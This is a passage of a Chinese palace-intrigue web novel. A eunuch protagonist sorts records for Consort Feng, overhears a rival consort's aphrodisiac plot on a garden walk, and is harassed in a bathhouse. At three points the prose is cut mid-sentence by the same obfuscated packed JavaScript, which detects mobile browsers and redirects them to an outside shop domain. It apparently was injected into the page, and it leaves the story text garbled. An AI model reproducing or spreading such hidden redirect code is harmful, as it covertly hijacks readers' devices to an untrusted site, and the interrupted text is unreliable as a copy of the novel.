“对曹旺之流,继续隐忍,但可以像今天修灯一样,在无关紧要、不涉及核心利益的小事上,偶尔展现一点无关美貌的实用价值,慢慢扭转纯粹靠脸上位的刻板印象,减少一些无谓的刁难。” “至于回去的方法……”关禧叹了口气,这真是最无解的一环。这个世界有超凡力量吗?有奇人异士吗?他连宫墙都难出去,上哪儿找去?只能寄希望于在整理那些陈年卷宗时,发现一些关于奇闻异事,玄学方术的记载,哪怕只是只言片语…… 想着想着,疲惫终于压倒了焦虑。眼皮越来越沉,意识模糊前,最后一个念头是: “宫斗?斗个屁……先活过这个月再说吧。” 窗外,夜色浓稠如墨,更深露重。 承华宫的寂静之下,暗流从未停歇。 前殿书斋的灯还亮着。 青黛将一份刚刚收到的密函就着烛火点燃,看着纸页蜷曲,化为灰烬。 冯媛披着一件外袍,坐在书案后,手里拿着的,正是关禧今日整理好的,关于长春宫李婕妤炭火用度的记录。她的指尖轻轻划过那句“体弱畏烟,减半”,秋水般的眸子里,映着烛光,深不见底。 “娘娘,”青黛轻声回禀,“王公公那边递了话,问小离子在承华宫可还安分,言语间似有试探。” 冯媛放下纸页,端起早已凉透的茶,轻轻呷了一口,才缓缓道:“告诉他,人本宫用着顺手,暂且留着了。陛下那边……自有分寸。” “是。”青黛应声,稍作迟疑又道,“那小离子,确实机灵。今日曹旺几人刻意刁难,他倒默默修好了檐灯,反让曹旺落个没趣。” “哦?”冯媛抬眼,似乎有了一丝兴趣,“倒不是个只会忍气的。” “心思也沉得住气。”青黛补充,“只是,他似乎总有些……魂不守舍的时候,像在琢磨什么。” 冯媛沉默了片刻,目光投向窗外沉沉的夜色。 “由着他琢磨吧。”她的声音很轻,像一片羽毛落在寂静里,“这宫里,谁心里没点琢磨呢?只要……他的琢磨,别出了格就行。” 烛火“噼啪”一声,爆开一朵小小的灯花,映得冯媛沉静的侧颜忽明忽暗。青黛垂首应是,将那灰烬仔细拢入香炉,不留一丝痕迹。 * 日子,便在承华宫这表面宁静,内里紧绷的节奏中,一天天滑过。 关禧彻底沉下心来,将自己活成了一块砖,青黛指哪儿,他便砌哪儿。核对账目,誊录文书,归整卷宗,他做得愈发得心应手,标记出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892385|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题也越来越精准,偶尔还能根据前后记录,推断出一些未曾言明的疏漏或矛盾之处,用极简的附注标在旁边。 青黛看在眼里,对他的本分和细心颇为满意,交给他的文书渐渐涉及更核心的宫务,甚至包括一些低位妃嫔每月的份例核销,宫内部分管事太监宫女的考绩记录初筛。 这些看似枯燥的工作,却让关禧得以更深入地窥见这座宫殿运行的肌理。他知道了哪位管事太监与内务府哪位司吏是姻亲,哪个小宫女的月钱总被克扣几分,哪位才人悄悄托人从宫外带些不值钱但稀罕的小玩意儿……这些碎片化的信息被他默默记下,虽不知何时能用上,但多知道一些,便多一分底气。 冯媛偶尔来书斋取书或查阅旧档,总能看见那个穿着靛青色袍子的清瘦身影伏在案前,脊背挺直,眉眼低垂,只有笔尖划过纸张的沙沙声。他很少开口,但若冯媛问起某份记录的细节,他总能迅速而准确地答出位置,要点,甚至关联事项。 这日,关禧正在整理一批关于去岁端午各宫节赏发放的旧档。冯媛缓步走了进来,青黛跟在她身后。 “娘娘。”关禧立刻起身,垂首行礼。 “嗯。”冯媛的目光掠过他案头堆积如山的册页,随口问道,“这些是去岁端午的旧例?” “回娘娘,是的。奴才正在核对各宫领用数目与内务府拨付是否相符,以及有无逾制或短缺。” “可有什么发现?”冯媛走到自己的书案后坐下,语气随意,像是考校。 关禧略一思忖,谨慎答道:“大体无误。只是……玉芙宫徐昭容处,除常规节赏外,额外多领了二十柄苏绣团扇、十匹软烟罗。记录上注明是陛下口谕添赏。”他顿了顿,声音更低了些,“奴才核对过内务府同期进上的总数,与拨付各宫之数略有盈余,但盈余之数……与这添赏之数,似乎对不上。” 这话说得很委婉,但意思明确:皇帝可能确实开口给了额外赏赐,但内务府拨付的东西,要么总数有问题,要么拨给玉芙宫的实际数目与记录不符。 冯媛执起案上一支未蘸墨的狼毫笔,指尖无意识地在笔杆上摩挲了一下,抬眼看向关禧:“对不上?差了多少?” “团扇数目相符。软烟罗……账面上拨付玉芙宫十匹,但同期内务府从江南织造局收进的该批软烟罗,总计五十匹,拨付各宫共四十五匹,应余五匹。可库房月末盘存记录显示,余了三匹。”关禧条理清晰,“差额两匹,去向不明。或记录有误,或……” 或是被人中饱私囊,截留了。这话他没说出口。 冯媛沉默片刻,轻轻“嗯”了一声,听不出情绪,只对青黛道:“将这条记下,稍后去内务府调那批软烟罗的入库明细和领用签押底单来。” “是,娘娘。”青黛应下,瞥了关禧一眼。 冯媛没再继续这个话题,转而问道:“今日天气似乎不错?” 青黛望向窗外,点头:“是,前两日闷热,今日起了些风,云也多,遮了些日头,不算太晒。御花园里荷花正盛,茉莉和紫薇也开得极好。” “倒是有些日子没去走走了。”冯媛放下笔,有了些兴致,“整日对着这些册子,也觉气闷。去御花园转转吧。” “奴婢这就去准备。”青黛道,转身时,目光似是不经意地扫过关禧,略微停顿,对冯媛轻声说,“娘娘,今日天色好,想必游园的主子会多些,身边多带两个稳妥的人伺候也好。小离子这些时日也算勤谨细心,不若让他也跟着,有些跑腿传话的琐事,也能支应。” 冯媛闻言,抬眼看了看垂手侍立的关禧。 少年身姿挺拔如竹,穿着一尘不染的靛青袍子,眉眼低顺,面色平静,只是站在那里,便有一种与这沉闷书斋格格不入的清新之气,倒真像一株该长在花园里的翠竹。 她可有可无地点了点头:“你看着安排便是。” 15. 第 15 章 关禧心头微动。 御花园……那是后宫妃嫔常去散心,也是各种偶遇和是非多发之地。青黛点他随行,是单纯的支使,还是有意让他在冯媛面前多露面,甚至……见识些别的? “奴才遵命。”他压下思绪,恭敬应道。 消息很快传开。冯昭仪要去御花园赏花,随行除了青黛和两个贴身宫女,还点了那个新来独居一室的小太监小离子。 承华宫前殿廊下,陈公公,陈立德——冯媛身边另一位颇有脸面的贴身太监,正阴着脸,看着青黛指挥着小宫女准备出行用的团扇,遮阳伞,茶水点心等物。他是冯媛从潜邸带进宫的旧人,四十许岁,平日里主要负责冯媛外出时的仪仗,与各宫及前朝一些低阶内侍的往来通传,自诩是承华宫太监里的头一份。 见关禧换了一身更干净的靛青袍子走过来,陈立德从鼻子里哼出一声,三角眼上下打量着他,尖着嗓子道:“哟,这不是咱们书斋里的先生吗?怎么,今日不摆弄那些酸文假醋的册子,倒要跟着娘娘出门见世面了?” 他特意加重了“先生”二字,讽刺意味十足。旁边几个等着随行的小太监低下头,窃窃私语,眼神在关禧和陈立德之间飘忽。 关禧脚步不停,走到近前,对陈立德规规矩矩行了个礼,声音平和:“陈公公。青黛姐姐吩咐小的跟着,听候差遣,跑腿学些规矩。” “跑腿?学规矩?”陈立德嗤笑,掸了掸自己一尘不染的袖口,“这御花园的路,你认得全吗?各宫主子的舆驾、仪仗,你分得清吗?冲撞了哪位贵人,是你担待得起,还是咱家担待得起?” “小的愚钝,正因不认得、分不清,才更需跟着公公和各位哥哥们好好学习。”关禧将姿态放得极低,“但凭公公吩咐驱使,小的绝不敢行差踏错,连累公公。” 他这话既承认了自己是新丁,又把陈立德捧到了指挥者的位置上,态度恭顺得挑不出错。陈立德一拳打在棉花上,见他这副低眉顺眼的样子,想起青黛的指派和娘娘的默许,也不好再当众发作,只冷冷道:“算你有点自知之明!跟着可以,眼睛放亮些,手脚麻利些,不该看的别看,不该听的别听!要是出了岔子,仔细你的皮!” “是,谢公公提点。”关禧再次躬身。 很快,冯媛扶着青黛的手,从正殿缓步而出。她今日穿着藕荷色绣折枝玉兰的广袖宫装,头发绾成慵懒的随云髻,只簪一支羊脂玉兰花簪并几点珍珠,淡扫蛾眉,薄施脂粉,通身上下并无过多装饰,却越发衬得人如美玉,气质清华。 陈立德立刻换上一副殷勤笑脸,抢上前指挥小太监们抬过一顶轻便的步辇。 “娘娘,步辇备好了,您请。” 冯媛摆了摆手,“今日天气好,路也不远,走着去吧,也活动活动筋骨。” “嗻。”陈立德连忙应下,挥手让抬步辇的退下,自己亲自在前头引路,两个小太监一左一右撑着曲柄遮阳伞,青黛和两个贴身宫女簇拥在冯媛身侧稍后,关禧则默默跟在队伍的最末尾,与另外两个负责提食盒,捧巾帕的小太监并行。 一行人出了承华宫,沿着宫道,往御花园方向行去。 夏日微风拂过宫墙,带来隐约的花香。阳光被薄云过滤,少了些毒辣,洒在身上暖洋洋的。关禧低头看着脚下平整的青石板,听着前面隐约的环佩叮当和细微的脚步声,心情有些复杂。这是他穿越以来,第一次如此正式地参与后宫主子的户外活动,虽然只是个微不足道的尾巴。 御花园位于后宫中心偏北,占地极广,引活水成湖,堆土石为山,亭台楼阁掩映在奇花异木之间,一步一景,精巧绝伦。 刚进园门,便觉一股湿润的草木清气扑面而来,暑气顿消。目光所及,姹紫嫣红开遍。湖畔,层层叠叠的荷叶铺满水面,粉白嫣红的荷花亭亭玉立,或含苞待放,或恣意盛开,风过处,掀起碧波,送來清远的荷香。道旁,成片的紫薇树花开正艳,一簇簇,一团团,或深紫,或浅粉,或雪白,如云似霞。茉莉藏在绿叶间,星星点点,香气却最为馥郁袭人,甜而不腻。还有那攀附在廊架上的凌霄,橙红色的喇叭状花朵热烈地燃烧着。 冯媛步履从容,沿着蜿蜒的卵石小径缓缓而行,目光流连于花木之间,神色恬淡,似乎真的只是来赏景散心。 陈立德在前头小心引路,眼观六路,耳听八方,随时准备清道或避让。青黛则低声向冯媛介绍着哪处的荷花品种稀有,哪株紫薇是百年老桩。 关禧跟在最后,恪守本分,目光只落在前方之人的脚跟和道路之上,绝不乱瞟。然而,御花园的气息,色彩,声音,还是无孔不入地钻进他的感官。鸟鸣清脆,蜂蝶嗡营,远处似乎还有隐约的丝竹和女子娇笑声传来。 这里,是后宫最鲜活,也最危险的舞台之一。 果然,没走多远,绕过一片嶙峋的假山,前方视野豁然开朗,是一处临水的六角凉亭。 亭中已有数人,珠环翠绕,笑语盈盈。 为首一人,穿着鹅黄色缕金百蝶穿花云缎裙,头戴赤金点翠步摇,妆容明艳,正是玉芙宫的徐昭容,徐宛白。她身边围着几个低位嫔妃和宫女,众星捧月一般。 徐宛白正捏着团扇,指着湖中最大的一株并蒂莲说笑,抬眼间,恰好看到了迎面走来的冯媛一行人。 她脸上的笑容瞬间淡了几分,眼底闪过一丝不易察觉的阴霾,随即又扬起更明媚的笑意,扶着宫女的手站起身,婷婷袅袅地走出凉亭。 “哟,我当是谁呢,原来是冯姐姐。”徐宛白声音娇脆,带着惯有略微拔高的调子,“姐姐今日好兴致,也来赏荷?妹妹还以为姐姐忙着协理宫务,无暇分身呢。” 冯媛停下脚步,神色未变,唇边甚至漾起一丝极淡的微笑:“徐妹妹也在。不过是偷得浮生半日闲罢了,哪比得上妹妹日日悠闲自在。” 两人目光在空中轻轻一碰,旋即分开。周围的空气似乎都凝滞了一瞬,那些低位嫔妃和宫女们纷纷起身行礼,屏息静气。 关禧跟在队伍末尾,心里默念:看不见我,看不见我…… 可惜,徐宛白的目光在扫过冯媛身后众人时,还是精准地捕捉到了那个即使身处末位也难掩身姿轮廓的清俊身影。 她眉头几不可察地一挑,手中团扇轻轻摇了摇,拖长了语调:“冯姐姐身边的人,倒是越发齐整了。连跟在最后头的小太监,都生得这般……水灵。” 她的目光像带着钩子,在关禧身上打了个转,尤其在关禧白皙脖颈的位置停留了一瞬,语气里的意味深长,任谁都听得出来。 陈立德脸色微微一变,上前半步,赔笑道:“昭容娘娘说笑了,不过是个刚来没几天、不懂规矩的小崽子,跟着出来长长见识。” 冯媛笑容不变,像是没听出徐宛白话里的机锋,只淡淡道:“宫中当差,规矩本分最要紧,模样倒是其次。徐妹妹觉得呢?” 徐宛白被噎了一下,脸上笑容有点挂不住,哼了一声,目光再次瞥过关禧,这次带上了几分审视:“冯姐姐说得是。不过,这模样太好的,放在身边,也得多费些心管教才是,免得……心思活络,走了歪路。” 这话已是近乎直白的挑拨和暗示了。冯媛身边的太监模样太好,容易惹是非,甚至可能攀附别的贵人。 关禧伏低身子,手心微微出汗。他知道,自己又成了两个妃嫔言语交锋的由头。徐宛白这是在借题发挥,既恶心冯媛,也可能是在试探冯媛对这个新来小太监的态度。 冯媛尚未开口,她身侧的青黛已经上前半步,对着徐宛白福了一福,声音平稳:“昭容娘娘提醒得是。承华宫上下,谨守宫规,各司其职,从无半分逾越。娘娘治下严谨,奴婢们更不敢有丝毫懈怠。至于心思是否活络,”她抬眼,目光坦然地看着徐宛白,“日久自然见人心,不在皮相,更不在旁人臆测。” 青黛这话,不卑不亢,既维护了承华宫和冯媛的颜面,又暗指徐宛白是旁人臆测,将挑衅轻轻挡了回去。 徐宛白脸色沉了沉,盯着青黛看了两眼,又瞥向一直神色淡然事不关己的冯媛,终是觉得无趣,也怕真闹起来自己也未必能讨到好,便用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892386|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团扇掩了掩唇,假笑一声:“青黛姑娘真是忠心护主,伶牙俐齿。罢了,本宫也乏了,姐姐慢慢赏花吧。” 说罢,带着自己的人,悻悻然往另一条路去了。 待徐宛白一行人走远,冯媛才继续举步,神色如常,仿佛刚才那场小小的交锋从未发生。只是经过关禧身边时,眼风极淡地扫了他一下。 关禧心头一凛,将头垂得更低。 陈立德回头,狠狠瞪了关禧一眼,眼神里满是“看你惹来的麻烦”的怨气。 一行人继续前行,气氛比之前沉闷了些许。 来到一处水榭,冯媛想在此处歇息片刻。青黛指挥着小宫女布置坐垫,摆放茶点。陈立德忙前忙后,亲自试了试栏杆是否稳固,又瞪向关禧:“还杵着干嘛?没眼力见的东西!去,看看那边曲廊拐角有没有闲置的锦凳,搬两个过来!”这是他在借故支使他,也是发泄不满。 “是。”关禧应声,转身快步走向陈立德所指的方向。 曲廊拐角处果然放着几个备用的锦凳。他挑了两个看起来干净稳固的,正要搬起,却听见假山另一侧传来刻意压低的交谈声,隐约夹杂着“玉芙宫”,“徐昭容”,“香料”,“不对劲”等零碎词语。 关禧动作一顿,下意识地屏住呼吸。 “真能行?那香闻着就怪冲的……”一个略显尖细的太监嗓音。 “你懂什么!”另一个声音打断他,更沉些,透着不耐烦,“南边来的稀罕货,叫什么醉仙引……就那么指甲盖一点,混在寻常百合香里点了,任你是柳下惠再世,也得……嘿嘿。”那笑声猥琐而暧昧,“你没见陛下这段时日,往玉芙宫跑得勤快?往常便是去,也就是坐坐,听个曲儿,什么时候留宿过?可这几回……” 那尖细声音似乎被说服了,又带着点惧意:“可这是欺君啊!万一被查出来……” “查?怎么查?”沉嗓音嗤笑,“香料燃尽了无痕无迹,陛下自己……咳,那种时候,哪还分得清是香是人?”他的声音压得更低,几不可闻,但关禧还是捕捉到了几个破碎的字眼,“……龙种……凭这个……贵妃……” 关禧只觉得一股寒气从脚底直窜天灵盖。 徐昭容竟然敢用这种手段,那所谓的醉仙引,显然是强烈的催情之物,用以刺激皇帝产生生理反应,以期受孕。 皇帝不好女色,后宫至今无所出,若徐昭容真能凭此怀上龙嗣……那无疑是翻天覆地的大事。而她如此铤而走险,所图必然不止一个孩子那么简单,贵妃之位,甚至更高…… 假山后的对话还在继续,已经转为如何将新一批香料安全带入宫中的细节商议。 关禧不敢再听,也听不清了,转身,低着头,快步往回走。 心脏在胸腔里狂跳,撞得肋骨生疼。他感觉自己无意中撞破了一个足以掀起腥风血雨的秘密。这秘密像一块烧红的炭,烫手,又可能……是他绝境中意想不到的筹码? 不,不行。他立刻否定了这个危险的念头。现在的他,没有任何资格去碰这种层级的秘密。一旦沾上,稍有差池,就是灭顶之灾。徐昭容敢用这种手段,必然有周密的布置和靠山,岂是他一个小太监能撼动的? 告发?向谁告发?冯昭仪?证据呢?仅凭偷听来的几句话?冯昭仪会信吗?即便信了,她会为了一个无凭无据的秘密,现在就与风头正盛的徐昭容撕破脸吗?更大的可能是将自己这个知情人灭口,或者当作棋子推出去。 必须装作不知道。什么都没听见。 关禧搬着锦凳回到水榭,陈立德正等得不耐烦,见他回来,劈头盖脸低声斥道:“磨磨蹭蹭!偷懒耍滑!” 关禧垂首:“小的愚笨,找了片刻。” 冯媛正倚着栏杆,看湖中游鱼,青黛在一旁低声说着什么。闻声,冯媛回过头,目光掠过关禧微微发白的脸和额角细密的汗珠,眼神静默如深潭,未起波澜,淡淡道:“放那儿吧。” “是。”关禧将锦凳放下,退到一旁角落,眼观鼻,鼻观心,努力将自己的存在感降到最低。 16. 第 16 章 水榭临水而筑,四面雕花长窗半开,凉风习习而来,携着清润的水汽与隐约的荷香,总算将郁积的暑气驱散了几分。 青黛从小宫女手中接过一只红泥小炉,炉上银铫中的水正滚着细密如鱼眼的清泡。她挽起淡青袖口,露出一截皓腕,娴熟地烫杯,取茶,高冲低斟。雨前龙井在素白瓷盏中遇水苏醒,舒展成嫩绿莹润的叶芽,茶香袅袅而起,与水汽盈盈交融。 “娘娘,用些茶吧,也好消消暑气。”青黛语声轻柔,将一盏澄碧茶汤稳稳置于冯媛手边的汉白玉莲花几上。 冯媛低低应了一声,并未去端那茶盏,目光投向不远处一片开得正盛的紫色鸢尾上,似在欣赏,又似神游天外。 青黛不再多言,只静静侍立在一侧。 过了约半盏茶的时间,她才像是想起什么闲事般,用不高不低的声音开口道:“奴婢前日去内务府领香料的时节,碰巧遇上司礼监递送文书的小内侍,便听了一耳朵闲话……” 她略顿,见冯媛眼帘微动,并无阻止之意,才续道:“说是今科殿试放了榜,陛下钦点了状元、榜眼、探花。那状元郎听闻年纪不过弱冠,是江南有名的才子,诗赋尤为出众。放榜那日琼林宴上,陛下颇为赞赏,还当场让他以眼前凌霄花为题,赋诗一首。” “哦?”冯媛终于收回远眺的目光,转过头来。她伸出纤指,端起那盏瓷杯,用指尖捏着杯盖,沿着盏沿轻轻撇去浮沫,“陛下向来重经世实务,对诗词之道虽也欣赏,却少见这般当场考校。那状元郎……作得如何?” 青黛唇角微弯,露出一点清浅的笑意:“奴婢也只是辗转听来。诗云:本是青藤附壁生,敢攀烈日向云程。风催筋骨千钧力,雨洗尘埃一色清。岂效凡花争暖圃,偏从绝壑绽瑶英。九霄若有登临路,借取天梯步月行。” 她声音清亮柔和,一字一句将那诗句缓缓吟出。水榭中一时静谧,唯有风声穿过廊檐,水波轻拍石基的声响,伴着这清朗激昂的诗句淡淡回荡。 冯媛执盏的手停在唇边,静静听着。待青黛吟罢,她才浅浅啜了一口茶汤,而后将茶盏搁回几上,指尖无意识地在光滑的杯沿来回摩挲。 “倒是好气魄。敢攀烈日向云程、偏从绝壑绽瑶英,初登魁首,少年意气,锋芒毕露,也是常情。只是……” 她话锋忽地一转,抬起眼,眸光清凌凌地投向水榭外那攀附在朱红廊架之上,开得如火如荼的橙红色凌霄花,“只是,凌霄终究是藤蔓,须得倚仗他物,方能攀援而上。借取天梯……这天梯,又岂是易借、易登的?一步踏错,或所托非人,便是粉身碎骨之局。陛下让他咏凌霄,是赏识其凌云之志,也未尝不是……一种含蓄的警醒。” 青黛闻言,恭敬地垂下头:“娘娘看得透彻。奴婢愚钝,只听出诗中气势昂扬,经娘娘这一点拨,方才明白内里乾坤。” “不过是些寻常感慨罢了。”冯媛的语气复又变得疏淡,仿佛刚才那一瞬的锐利只是错觉,“陛下既有赏识之意,这位新科状元的前程,只要自己谨慎,想必是差不了的。只是,后宫之地,还是少谈论前朝之事为宜。” “奴婢明白。”青黛立刻应声,神色愈发恭谨,随即自然地转换了话题,说起御花园东南角那几株石榴树今年结籽格外繁密,瞧着甚是喜庆吉祥云云。 立在书斋门侧阴影里的关禧,将这番对话一字不漏地听入耳中,心中难以抑制地泛起波澜。 状元郎,凌霄诗,天子看似嘉许实则意味深长的考校……冯昭仪这寥寥数语的点评,直指核心。这哪里只是在品评诗作高低?分明是借诗观人,乃至揣摩那至高无上的圣心幽微。这位娘娘平日里看着沉静寡言,仿佛只沉浸于书画清赏,此刻方知其敏锐与心思之深。 而青黛看似碰巧听来,随口提起,实则是将前朝最新,也最受瞩目的动向,以一种极其自然且不逾越身份规矩的方式,递到了冯媛面前。她们主仆二人,在这午后闲适的品茶赏花光景里,不过三言两语,便完成了一次默契十足的信息交换与局势斟酌。 自己呢?关禧的目光不由自主地落在自己身上那件半新不旧的靛青色宦官袍服下摆。袍角有些磨损,颜色也被洗得微微发白。他忽然觉得自己就像那诗中的凌霄,看似有幸攀附上了承华宫这面高墙,可这依附何其脆弱,根基全系于冯昭仪一念之间的喜怒。至于那天梯,那渺茫不可知的归家之路,或是在这深宫之中挣得一丝自主喘息之机的途径,又在哪里?连望都望不真切。 他不敢再深想下去,只觉得鼻尖萦绕的荷香,都变得过于甜馥,沉沉地压在心口,透着一股子令人不安的腻人。 冯媛又静坐了片刻,将盏中残茶饮尽,扶着青黛的手缓缓起身:“出来也有些时辰了,回吧。” “是。”青黛稳稳托住她的手臂。 一行人迤逦出了水榭,沿着来时青石小径返回承华宫。夕阳已大半沉入宫墙之后,天际只余一抹残存的橘红,很快被蔓延上来的靛青吞没。宫墙的影子被拉得极长极暗,沉甸甸地覆在巷道之上。 关禧默默走在最后。他背对着那最后一缕天光,整个人的轮廓仿佛都要融入前方深浓的宫影里,只有腰间悬挂的普通牙牌,随着步伐轻轻晃动,偶尔反射出一点转眼即逝的亮光。 陈立德在前头殷勤开路,偶尔回头,目光扫过关禧时,虽仍习惯性地带上一丝警告,但经此一趟随侍,他似乎也觉得这新来的除了模样生得过于齐整些,倒也还算安静本分,没出什么差错,故而那眼神里的厉色也减了几分,未再刻意寻衅找茬。 回到承华宫,关禧依着规矩先至书斋候着。 青黛搀着冯媛进了内室,约莫一炷香后出来,对静立门边的关禧温言道:“今日你也跟着走了不少路,且早些回去歇着吧。明日记得将去岁下半年各宫器物损换的明细记录寻出来,陛下万寿节将至,内务府需核对旧例,以备添置新贡,那些册子娘娘或许要过目。” “是,奴才谨记。”关禧躬身,恭敬应下,而后才轻步退出书斋。 廊下宫灯已次第点亮,晕开一团团暖黄的光晕。 关禧走在返回自己那间小厢房的路上,步履略显沉重。今日御花园一行,看似平静,实则暗流涌动。徐昭容那毫不掩饰的打量与讥讽,假山后偷听到的骇人秘闻,还有冯昭仪主仆间看似闲谈,实则机锋暗藏的对话……所有画面在他脑海中反复交织,让他太阳穴隐隐作痛。 回到狭小寂静的房间,背靠门板,他才敢松懈几分紧绷的神经。可松懈带来的是更清晰的感知,里衣被冷汗微微浸湿,黏在后背皮肤上,极不舒服。夏夜闷热虽被晚风吹散些许,但那股由内而外的黏腻感,让他迫切想清洗。 洗漱。这在现代再简单不过的日常,在宫中,尤其对他这样的低等内侍而言,却需遵循严苛的规矩。 他搬来承华宫这几日,已大致摸清了这里的规矩。像他这样的二等内侍,并无资格使用单独的盥洗设施,更别提热水。 宫内设有专门的沐房,位于下人所居区域的最北边,是一排低矮的联排房屋,分男女区域,由热水房每日定时供应热水,水量有限,且过了规定时辰便不再供应。 关禧抬头看了看窗外的天色,估摸着时辰。此刻已近宫门下钥,各处巡查加紧,但沐房或许还未完全关闭。他不想明日顶着不适醒来,更受不了这身黏腻。 略一踌躇,他还是从床下拖出那个边缘有些磨损的木盆,又从墙角水缸里舀了半盆凉水,这是他屋内仅有的,每日由粗使小太监补充的食用兼盥洗用水。 端起木盆,他走到床边,打开那个陈旧的小木柜。里面整齐叠放着他仅有的两套换洗衣物:一套是身上正穿着的靛青色外袍和棉布中衣的同款,另一套颜色稍浅些,是更早发的,洗得有些发白,但同样干净。 他犹豫了一下,伸手取了那套颜色稍浅的。沐房那地方人多手杂,又是晚上,光线昏暗,穿这套旧些的去,就算不小心被泼溅到水或蹭到脏污,也不至于太心疼,明日当值再换回那套靛青色的便是。 将干净的旧衣裤搭在手臂上,他轻手轻脚地推门而出。 夜色已浓,承华宫后院的甬道上只零星挂着几盏气死风灯,光线昏暗。 远处隐约传来巡夜太监拖沓的脚步声和更梆声。 关禧低着头,加快脚步,朝着记忆中的沐房方向走去。 沐房所在的院落比想象中更为简陋。几间灰扑扑的屋子连在一起,门口挂着脏得看不清颜色的布帘,空气中弥漫着一股复杂的味道,潮湿的霉味,劣质澡豆的涩味,还有属于许多身体清洁不足时混合在一起的体味。 此时沐房内还算安静,热水供应显然已停,只有零星几个回来的晚,或是今日当值特别辛苦的太监,正就着盆里有限的凉水,胡乱擦洗着身体。哗啦的水声,低声的抱怨,偶尔的咳嗽,在空旷的屋内回荡。 关禧挑了个最靠里,灯光最暗的角落,先将臂上的干净衣物小心放在一旁稍高些,看起来还算干燥的木架上,这才放下木盆。他警惕扫视,未见曹旺那伙人,才略松口气。背对他人,解开靛青色外袍系带,脱下,露出里面洗得发白的棉布中衣。 没有犹豫,他解开中衣侧旁的系带,将那层单薄的棉布彻底褪下。 昏黄灯光下,少年清瘦单薄的身体暴露无遗,皮肤是久不见天日的苍白,肋骨形状隐约可见,胸前平坦,属于男性的骨架线条已然清晰,又因消瘦和那份不自然的苍白,透出一种脆弱的易碎感。 他迅速弯腰,将脱下的中衣和外袍胡乱团在木盆边,又飞快地解开裤带,褪下长裤。当最后一点布料离开身体,他立刻扯过浸在凉水中的布巾,拧了半干,覆盖在自己腰间,试图用这微薄的屏障隔断那些可能投来的视线。 即便是背对着众人,关禧也能感觉到有几道视线似有若无地扫过他的背影。在这全是男性的空间里,他这具清瘦,皮肤苍白,甚至轮廓在某些角度下有些模糊性别的身体,总是容易引来或好奇或评估的目光。 关禧咬着牙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892387|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就着布巾的遮掩,开始快速擦拭。从脖颈到手臂,动作急促。粗糙的湿布摩擦过皮肤,留下微红的痕迹。每当需要移动布巾擦拭其他部位,他总是尽可能背转身,用最快的速度完成,再迅速将湿布挪回原处遮掩。 擦洗下身时,他动作僵硬了一瞬。那个部位,无论经过多少次,他依然无法完全坦然面对。残缺,陌生,带着屈辱印记的构造,是他一切痛苦的根源,也是他在此地生存必须背负的枷锁。他闭了闭眼,草草带过,随即拧干布巾,开始擦拭后背和腿脚。 整个过程,他都保持着高度的警觉,耳朵竖起来,捕捉着周围的动静。旁边两个太监正在低声交谈,话题无非是哪个管事今日脾气不好克扣了赏钱,哪处的差事特别累人。再远一点,有人在小声哼着不成调的民间小曲。 就在他匆匆擦洗完毕,伸手去够木架上的干净中衣时,沐房门帘被猛地掀开,带进夜风和几个人。 “妈的,真晦气!大晚上被支使去搬花盆,弄得一身土!”一个粗嘎的嗓音抱怨道,伴随着踢踢踏踏的脚步声。 关禧动作一顿,听出这正是曹旺手下那个吊梢眼的声音,心中暗叫不好,顾不得身上还湿着,慌忙将中衣抓过来往身上套,试图系上侧带。 “哟,这不是咱们的书斋先生吗?这么晚了,也来这儿洗洗?”吊梢眼显然已经看到了角落里的关禧,拖着调子,不怀好意地走了过来。他身后还跟着那个矮个雀斑太监,两人都是一身尘土,脸上带着疲惫和不耐烦,此刻看到关禧,那点不耐烦似乎找到了发泄口。 关禧的中衣尚未完全系好,领口微敞,潮湿的黑发贴在苍白的颈侧,几缕碎发还滴着水。他低着头,继续与衣带搏斗,低声道:“两位哥哥也才回来,辛苦了。” “辛苦?哪有你辛苦啊?”吊梢眼走到近前,居高临下地看着他,目光在他潮湿的头发,颈项和还没来得及完全被衣物遮掩的,还带着水珠的锁骨上转了一圈,嗤笑道,“跟着娘娘逛园子,风吹不着雨淋不着的,回来还得这么讲究,大晚上特意来擦洗……到底是得了青黛姐姐青眼的人,就是跟我们这些泥腿子不一样。” 雀斑太监也凑过来,眼睛滴溜溜转,落在关禧匆忙间没拉平整的裤腰和光着的小腿上,嘿嘿一笑:“就是,瞧这慌的……都是爷们儿,有什么好遮遮掩掩的?还是说……有什么见不得人的,怕咱们看?”他故意拔高声音,引得其他几个洗漱的太监也看了过来,目光各异,有的眼里带着看热闹的兴味,有的则是事不关己的麻木。 